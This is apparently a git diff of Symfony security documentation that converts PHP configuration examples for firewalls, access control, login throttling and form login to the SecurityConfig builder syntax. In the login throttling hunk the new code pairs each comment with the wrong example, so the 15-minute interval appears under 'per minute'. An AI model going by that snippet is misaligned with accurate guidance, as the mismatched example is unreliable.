-                    'cost' => 12,
-                ]
-            ],
+            $security->passwordHasher(User::class)
+                ->algorithm('auto')
+                ->cost(12);
 
             // ...
-        ]);
+        };
 
 .. versionadded:: 5.3
 
@@ -379,18 +377,17 @@ important section is ``firewalls``:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'dev' => [
-                    'pattern' => '^/(_(profiler|wdt)|css|images|js)/',
-                    'security' => false,
-                ],
-                'main' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('dev')
+                ->pattern('^/(_(profiler|wdt)|css|images|js)/')
+                ->security(false);
+
+            $security->firewall('main')
+                ->lazy(true)
+                ->anonymous();
+        };
 
 A "firewall" is your authentication system: the configuration below it defines
 *how* your users will be able to authenticate (e.g. login form, API token, etc).
@@ -548,29 +545,29 @@ You must enable this using the ``login_throttling`` setting:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                // ...
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
 
-                'main' => [
-                    // by default, the feature allows 5 login attempts per minute
-                    'login_throttling' => null,
+            // ...
+            $mainFirewall = $security->firewall('main');
 
-                    // configure the maximum login attempts (per minute)
-                    'login_throttling' => [
-                        'max_attempts' => 3,
-                    ],
+            // by default, the feature allows 5 login attempts per minute
+            $mainFirewall
+                ->loginThrottling();
 
-                    // configure the maximum login attempts in a custom period of time
-                    'login_throttling' => [
-                        'max_attempts' => 3,
-                        'interval' => '15 minutes',
-                    ],
-                ],
-            ],
-        ]);
+            // configure the maximum login attempts (per minute)
+            $mainFirewall
+                ->loginThrottling()
+                    ->maxAttempts(3)
+                    ->interval('15 minutes');
+
+            // configure the maximum login attempts in a custom period of time
+            $mainFirewall
+                ->loginThrottling()
+                    ->maxAttempts(3);
+        };
 
 .. versionadded:: 5.3
 
@@ -863,27 +860,32 @@ start with ``/admin``, you can:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+
+            // ...
+            $security->firewall('main')
             // ...
+            ;
 
-            'firewalls' => [
-                // ...
-                'main' => [
-                    // ...
-                ],
-            ],
-            'access_control' => [
-                // require ROLE_ADMIN for /admin*
-                ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],
-
-                // require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
-                ['path' => '^/admin', 'roles' => ['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']],
-
-                // the 'path' value can be any valid regular expression
-                // (this one will match URLs like /api/post/7298 and /api/comment/528491)
-                ['path' => '^/api/(post|comment)/\d+$', 'roles' => 'ROLE_USER'],
-            ],
-        ]);
+            // require ROLE_ADMIN for /admin*
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN']);
+
+            // require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']);
+
+            // the 'path' value can be any valid regular expression
+            // (this one will match URLs like /api/post/7298 and /api/comment/528491)
+            $security->accessControl()
+                ->path('^/api/(post|comment)/\d+$')
+                ->roles(['ROLE_USER']);
+        };
 
 You can define as many URL patterns as you need - each is a regular expression.
 **BUT**, only **one** will be matched per request: Symfony starts at the top of
@@ -927,14 +929,19 @@ the list and stops when it finds the first match:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'access_control' => [
-                ['path' => '^/admin/users', 'roles' => 'ROLE_SUPER_ADMIN'],
-                ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],
-            ],
-        ]);
+            $security->accessControl()
+                ->path('^/admin/users')
+                ->roles(['ROLE_SUPER_ADMIN']);
+
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN']);
+        };
 
 Prepending the path with ``^`` means that only URLs *beginning* with the
 pattern are matched. For example, a path of ``/admin`` (without the ``^``)
@@ -1202,16 +1209,16 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'secured_area' => [
-                    // ...
-                    'logout' => ['path' => 'app_logout'],
-                ],
-            ],
-        ]);
+            $security->firewall('secured_area')
+                // ...
+                ->logout()
+                    ->path('app_logout');
+        };
 
 Next, you'll need to create a route for this URL (but not a controller):
 
@@ -1419,17 +1426,14 @@ rules by creating a role hierarchy:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'role_hierarchy' => [
-                'ROLE_ADMIN'       => 'ROLE_USER',
-                'ROLE_SUPER_ADMIN' => [
-                    'ROLE_ADMIN',
-                    'ROLE_ALLOWED_TO_SWITCH',
-                ],
-            ],
-        ]);
+            $security->roleHierarchy('ROLE_ADMIN', ['ROLE_USER']);
+            $security->roleHierarchy('ROLE_SUPER_ADMIN', ['ROLE_ADMIN', 'ROLE_ALLOWED_TO_SWITCH']);
+        };
 
 Users with the ``ROLE_ADMIN`` role will also have the
 ``ROLE_USER`` role. And users with ``ROLE_SUPER_ADMIN``, will automatically have
diff --git a/security/access_control.rst b/security/access_control.rst
index 2f65dc60281..ec86b8a6836 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -88,49 +88,46 @@ Take the following ``access_control`` entries as an example:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
-        $container->loadFromExtension('security', [
+        use Symfony\Component\DependencyInjection\ContainerBuilder;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (ContainerBuilder $container, SecurityConfig $security) {
+            $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_PORT',
-                    'ip' => '127.0.0.1',
-                    'port' => '8080',
-                ],
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_IP',
-                    'ips' => '127.0.0.1',
-                ],
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_HOST',
-                    'host' => 'symfony\.com$',
-                ],
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_METHOD',
-                    'methods' => 'POST, PUT',
-                ],
-
-                // ips can be comma-separated, which is especially useful when using env variables
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_IP',
-                    'ips' => '%env(TRUSTED_IPS)%',
-                ],
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_IP',
-                    'ips' => [
-                        '127.0.0.1',
-                        '::1',
-                        '%env(TRUSTED_IPS)%',
-                    ],
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_PORT'])
+                ->ips(['127.0.0.1'])
+                ->port(8080)
+            ;
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_IP'])
+                ->ips(['127.0.0.1'])
+            ;
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_HOST'])
+                ->host('symfony\.com$')
+            ;
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_METHOD'])
+                ->methods(['POST', 'PUT'])
+            ;
+            // ips can be comma-separated, which is especially useful when using env variables
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_IP'])
+                ->ips(['%env(TRUSTED_IPS)%'])
+            ;
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_IP'])
+                ->ips(['127.0.0.1', '::1', '%env(TRUSTED_IPS)%'])
+            ;
+        };
 
 .. versionadded:: 5.2
 
@@ -275,21 +272,23 @@ pattern so that it is only accessible by requests from the local server itself:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/internal',
-                    'roles' => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                    // the 'ips' option supports IP addresses and subnet masks
-                    'ips' => ['127.0.0.1', '::1'],
-                ],
-                [
-                    'path' => '^/internal',
-                    'roles' => 'ROLE_NO_ACCESS',
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/internal')
+                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                // the 'ips' option supports IP addresses and subnet masks
+                ->ips(['127.0.0.1', '::1'])
+            ;
+
+            $security->accessControl()
+                ->path('^/internal')
+                ->roles(['ROLE_NO_ACCESS'])
+            ;
+        };
 
 Here is how it works when the path is ``/internal/something`` coming from
 the external IP address ``10.0.0.1``:
@@ -361,18 +360,19 @@ key:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/_internal/secure',
-                    // the 'role' and 'allow-if' options work like an OR expression, so
-                    // access is granted if the expression is TRUE or the user has ROLE_ADMIN
-                    'roles' => 'ROLE_ADMIN',
-                    'allow_if' => '"127.0.0.1" == request.getClientIp() or request.headers.has("X-Secure-Access")',
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/_internal/secure')
+                // the 'role' and 'allow-if' options work like an OR expression, so
+                // access is granted if the expression is TRUE or the user has ROLE_ADMIN
+                ->roles(['ROLE_ADMIN'])
+                ->allowIf('"127.0.0.1" == request.getClientIp() or request.headers.has("X-Secure-Access")')
+            ;
+        };
 
 In this case, when the user tries to access any URL starting with
 ``/_internal/secure``, they will only be granted access if the IP address is
@@ -438,16 +438,17 @@ access those URLs via a specific port. This could be useful for example for
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/cart/checkout',
-                    'role' => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                    'port' => '8080',
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/cart/checkout')
+                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->port(8080)
+            ;
+        };
 
 Forcing a Channel (http, https)
 -------------------------------
@@ -491,13 +492,14 @@ the user will be redirected to ``https``:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/cart/checkout',
-                    'roles' => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                    'requires_channel' => 'https',
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/cart/checkout')
+                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->requiresChannel('https')
+            ;
+        };
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index cdfb3e6db21..0d4676b3cf7 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -90,15 +90,14 @@ Now, configure this service ID as the entry point for the firewall:
 
         // config/packages/security.php
         use App\Security\AuthenticationEntryPoint;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'entry_point' => AuthenticationEntryPoint::class,
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                // ....
+                ->entryPoint(AuthenticationEntryPoint::class)
+            ;
+        };
 
 Customize the Forbidden Response
 --------------------------------
@@ -167,15 +166,14 @@ configure it under your firewall:
 
         // config/packages/security.php
         use App\Security\AccessDeniedHandler;
-
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'access_denied_handler' => AccessDeniedHandler::class,
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                // ....
+                ->accessDeniedHandler(AccessDeniedHandler::class)
+            ;
+        };
 
 Customizing All Access Denied Responses
 ---------------------------------------
diff --git a/security/auth_providers.rst b/security/auth_providers.rst
index 8745585ea83..2f9764a77fa 100644
--- a/security/auth_providers.rst
+++ b/security/auth_providers.rst
@@ -71,17 +71,16 @@ To support HTTP Basic authentication, add the ``http_basic`` key to your firewal
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'main' => [
-                    'http_basic' => [
-                        'realm' => 'Secured Area',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ....
+
+            $security->firewall('main')
+                ->httpBasic()
+                    ->realm('Secured Area')
+            ;
+        };
 
 That's it! Symfony will now be listening for any HTTP basic authentication data.
 To load user information, it will use your configured :doc:`user provider </security/user_provider>`.
@@ -140,18 +139,17 @@ Enable the x509 authentication for a particular firewall in the security configu
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'x509' => [
-                        'provider' => 'your_user_provider',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ....
+
+            $security->firewall('main')
+                // ...
+                ->x509()
+                    ->provider('your_user_provider')
+            ;
+        };
 
 By default, the firewall provides the ``SSL_CLIENT_S_DN_Email`` variable to
 the user provider, and sets the ``SSL_CLIENT_S_DN`` as credentials in the
@@ -218,15 +216,14 @@ corresponding firewall in your security configuration:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'remote_user' => [
-                        'provider' => 'your_user_provider',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->remoteUser()
+                    ->provider('your_user_provider')
+            ;
+        };
 
 The firewall will then provide the ``REMOTE_USER`` environment variable to
 your user provider. You can change the variable name used by setting the ``user``
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 04c94a4a82c..743fdb9382e 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -511,17 +511,17 @@ You are finished! You can now define parts of your app as under WSSE protection.
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ....
 
-            'firewalls' => [
-                'wsse_secured' => [
-                    'pattern'   => '^/api/',
-                    'stateless' => true,
-                    'wsse'      => true,
-                ],
-            ],
-        ]);
+            $security->firewall('wsse_secured')
+                ->pattern('^/api/')
+                ->stateless(true)
+                ->wsse()
+            ;
+        };
 
 Congratulations! You have written your very own custom security authentication
 provider!
@@ -634,19 +634,18 @@ set to any desirable value per firewall.
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ....
 
-            'firewalls' => [
-                'wsse_secured' => [
-                    'pattern'   => '^/api/',
-                    'stateless' => true,
-                    'wsse'      => [
-                        'lifetime' => 30,
-                    ],
-                ],
-            ],
-        ]);
+            $security->firewall('wsse_secured')
+                ->pattern('^/api/')
+                ->stateless(true)
+                ->wsse()
+                    ->lifetime(30)
+            ;
+        };
 
 The rest is up to you! Any relevant configuration items can be defined
 in the factory and consumed or passed to the other classes in the container.
diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 92f92ca61c8..10788ecd88e 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -48,10 +48,12 @@ The authenticator-based system can be enabled using the
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
-            // ...
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+            // ....
+        };
 
 The new system is backwards compatible with the current authentication
 system, with some exceptions that will be explained in this article:
@@ -121,19 +123,24 @@ unauthenticated access (e.g. the login page):
 
         // config/packages/security.php
         use Symfony\Component\Security\Core\Authorization\Voter\AuthenticatedVoter;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+            // ....
 
-            // ...
-            'access_control' => [
-                // allow unauthenticated users to access the login form
-                ['path' => '^/admin/login', 'roles' => AuthenticatedVoter::PUBLIC_ACCESS],
+            // allow unauthenticated users to access the login form
+            $security->accessControl()
+                ->path('^/admin/login')
+                ->roles([AuthenticatedVoter::PUBLIC_ACCESS])
+            ;
 
-                // but require authentication for all other admin routes
-                ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],
-            ],
-        ]);
+            // but require authentication for all other admin routes
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_ADMIN'])
+            ;
+        };
 
 Granting Anonymous Users Access in a Custom Voter
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -233,23 +240,22 @@ You can configure this using the ``entry_point`` setting:
     .. code-block:: php
 
         // config/packages/security.php
-        use Symfony\Component\Security\Http\Firewall\AccessListener;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+            // ....
 
-            // ...
-            'firewalls' => [
-                'main' => [
-                    // allow authentication using a form or HTTP basic
-                    'form_login' => null,
-                    'http_basic' => null,
-
-                    // configure the form authentication as the entry point for unauthenticated users
-                    'entry_point' => 'form_login'
-                ],
-            ],
-        ]);
+
+            // allow authentication using a form or HTTP basic
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->formLogin();
+            $mainFirewall->httpBasic();
+
+            // configure the form authentication as the entry point for unauthenticated users
+            $mainFirewall
+                ->entryPoint('form_login');
+        };
 
 .. note::
 
@@ -359,7 +365,7 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
                     custom_authenticators:
                         - App\Security\ApiKeyAuthenticator
 
-                    # don't forget to also configure the entry_point if the
+                    # remember to also configure the entry_point if the
                     # authenticator implements AuthenticationEntryPointInterface
                     # entry_point: App\Security\CustomFormLoginAuthenticator
 
@@ -378,7 +384,7 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
             <config enable-authenticator-manager="true">
                 <!-- ... -->
 
-                <!-- don't forget to also configure the entry-point if the
+                <!-- remember to also configure the entry-point if the
                      authenticator implements AuthenticatorEntryPointInterface
                 <firewall name="main"
                     entry-point="App\Security\CustomFormLoginAuthenticator"> -->
@@ -393,24 +399,21 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
 
         // config/packages/security.php
         use App\Security\ApiKeyAuthenticator;
-        use Symfony\Component\Security\Http\Firewall\AccessListener;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+            // ....
+
+            $security->firewall('main')
+                ->customAuthenticators([ApiKeyAuthenticator::class])
+
+                // remember to also configure the entry_point if the
+                // authenticator implements AuthenticatorEntryPointInterface
+                // ->entryPoint(App\Security\CustomFormLoginAuthenticator::class)
+            ;
+        };
 
-            // ...
-            'firewalls' => [
-                'main' => [
-                    'custom_authenticators' => [
-                        ApiKeyAuthenticator::class,
-                    ],
-
-                    // don't forget to also configure the entry_point if the
-                    // authenticator implements AuthenticatorEntryPointInterface
-                    // 'entry_point' => [App\Security\CustomFormLoginAuthenticator::class],
-                ],
-            ],
-        ]);
 
 The ``authenticate()`` method is the most important method of the
 authenticator. Its job is to extract credentials (e.g. username &
diff --git a/security/firewall_restriction.rst b/security/firewall_restriction.rst
index c5546a8cba8..3638858efde 100644
--- a/security/firewall_restriction.rst
+++ b/security/firewall_restriction.rst
@@ -64,16 +64,16 @@ if the request path matches the configured ``pattern``.
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'secured_area' => [
-                    'pattern' => '^/admin',
-                    // ...
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ....
+
+            $security->firewall('secured_area')
+                ->pattern('^/admin')
+                // ...
+            ;
+        };
 
 The ``pattern`` is a regular expression. In this example, the firewall will only be
 activated if the path starts (due to the ``^`` regex character) with ``/admin``. If
@@ -123,16 +123,16 @@ only initialize if the host from the request matches against the configuration.
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ....
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'secured_area' => [
-                    'host' => '^admin\.example\.com$',
-                    // ...
-                ],
-            ],
-        ]);
+            $security->firewall('secured_area')
+                ->host('^admin\.example\.com$')
+                // ...
+            ;
+        };
 
 The ``host`` (like the ``pattern``) is a regular expression. In this example,
 the firewall will only be activated if the host is equal exactly (due to
@@ -183,16 +183,16 @@ the provided HTTP methods.
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'secured_area' => [
-                    'methods' => ['GET', 'POST'],
-                    // ...
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ....
+
+            $security->firewall('secured_area')
+                ->methods(['GET', 'POST'])
+                // ...
+            ;
+        };
 
 In this example, the firewall will only be activated if the HTTP method of the
 request is either ``GET`` or ``POST``. If the method is not in the array of the
@@ -241,13 +241,13 @@ If the above options don't fit your needs you can configure any service implemen
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ....
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'secured_area' => [
-                    'request_matcher' => 'app.firewall.secured_area.request_matcher',
-                    // ...
-                ],
-            ],
-        ]);
+            $security->firewall('secured_area')
+                ->requestMatcher('app.firewall.secured_area.request_matcher')
+                // ...
+            ;
+        };
diff --git a/security/force_https.rst b/security/force_https.rst
index 1b4a0b36be1..2c2a8fe42c2 100644
--- a/security/force_https.rst
+++ b/security/force_https.rst
@@ -60,27 +60,29 @@ access control:
         .. code-block:: php
 
             // config/packages/security.php
-            $container->loadFromExtension('security', [
-                // ...
-
-                'access_control' => [
-                    [
-                        'path'             => '^/secure',
-                        'roles'            => 'ROLE_ADMIN',
-                        'requires_channel' => 'https',
-                    ],
-                    [
-                        'path'             => '^/login',
-                        'role'             => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                        'requires_channel' => 'https',
-                    ],
-                    [
-                        'path'             => '^/',
-                        'role'             => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                        'requires_channel' => 'https',
-                    ],
-                ],
-            ]);
+            use Symfony\Config\SecurityConfig;
+
+            return static function (SecurityConfig $security) {
+                // ....
+
+                $security->accessControl()
+                    ->path('^/secure')
+                    ->roles(['ROLE_ADMIN'])
+                    ->requiresChannel('https')
+                ;
+
+                $security->accessControl()
+                    ->path('^/login')
+                    ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                    ->requiresChannel('https')
+                ;
+
+                $security->accessControl()
+                    ->path('^/')
+                    ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                    ->requiresChannel('https')
+                ;
+            };
 
 To make life easier while developing, you can also use an environment variable,
 like ``requires_channel: '%env(SECURE_SCHEME)%'``. In your ``.env`` file, set
diff --git a/security/form_login.rst b/security/form_login.rst
index 1ab379e7a83..c8f2cc7c1ff 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -56,18 +56,17 @@ First, enable ``form_login`` under your firewall:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'form_login' => [
-                        'login_path' => 'login',
-                        'check_path' => 'login',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->lazy(true);
+            $mainFirewall->anonymous();
+            $mainFirewall->formLogin()
+                ->loginPath('login')
+                ->checkPath('login')
+            ;
+        };
 
 .. tip::
 
@@ -300,19 +299,17 @@ security component:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'secured_area' => [
+            $security->firewall('secured_area')
+                ->formLogin()
                     // ...
-                    'form_login' => [
-                        // ...
-                        'csrf_token_generator' => 'security.csrf.token_manager',
-                    ],
-                ],
-            ],
-        ]);
+                    ->csrfTokenGenerator('security.csrf.token_manager')
+            ;
+        };
 
 .. _csrf-login-template:
 
@@ -386,20 +383,18 @@ After this, you have protected your login form against CSRF attacks.
         .. code-block:: php
 
             // config/packages/security.php
-            $container->loadFromExtension('security', [
+            use Symfony\Config\SecurityConfig;
+
+            return static function (SecurityConfig $security) {
                 // ...
 
-                'firewalls' => [
-                    'secured_area' => [
+                $security->firewall('secured_area')
+                    ->formLogin()
                         // ...
-                        'form_login' => [
-                            // ...
-                            'csrf_parameter' => '_csrf_security_token',
-                            'csrf_token_id'  => 'a_private_string',
-                        ],
-                    ],
-                ],
-            ]);
+                        ->csrfParameter('_csrf_security_token')
+                        ->csrfTokenId('a_private_string')
+                ;
+            };
 
 Redirecting after Success
 -------------------------
@@ -459,20 +454,18 @@ a relative/absolute URL or a Symfony route name:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-
-                    'form_login' => [
-                        // ...
-                        'default_target_path' => 'after_login_route_name',
-                    ],
-                ],
-            ],
-        ]);
+                    ->defaultTargetPath('after_login_route_name')
+            ;
+        };
 
 Always Redirect to the default Page
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -519,20 +512,18 @@ previously requested URL and always redirect to the default page:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-
-                    'form_login' => [
-                        // ...
-                        'always_use_default_target_path' => true,
-                    ],
-                ],
-            ],
-        ]);
+                    ->alwaysUseDefaultTargetPath(true)
+            ;
+        };
 
 .. _control-the-redirect-url-from-inside-the-form:
 
@@ -609,19 +600,18 @@ parameter is included in the request, you may use the value of the
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-                    'form_login' => [
-                        // ...
-                        'use_referer' => true,
-                    ],
-                ],
-            ],
-        ]);
+                    ->useReferer(true)
+            ;
+        };
 
 .. note::
 
@@ -677,19 +667,18 @@ option to define a new target via a relative/absolute URL or a Symfony route nam
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-                    'form_login' => [
-                        // ...
-                        'failure_path' => 'login_failure_route_name',
-                    ],
-                ],
-            ],
-        ]);
+                    ->failurePath('login_failure_route_name')
+            ;
+        };
 
 This option can also be set via the ``_failure_path`` request parameter:
 
@@ -755,19 +744,19 @@ redirects can be customized using the  ``target_path_parameter`` and
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-                    'form_login' => [
-                        'target_path_parameter' => 'go_to',
-                        'failure_path_parameter' => 'back_to',
-                    ],
-                ],
-            ],
-        ]);
+                    ->targetPathParameter('go_to')
+                    ->failurePathParameter('back_to')
+            ;
+        };
 
 Using the above configuration, the query string parameters and hidden form fields
 are now fully customized:
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index b4bba11862c..7fe912cdac7 100644
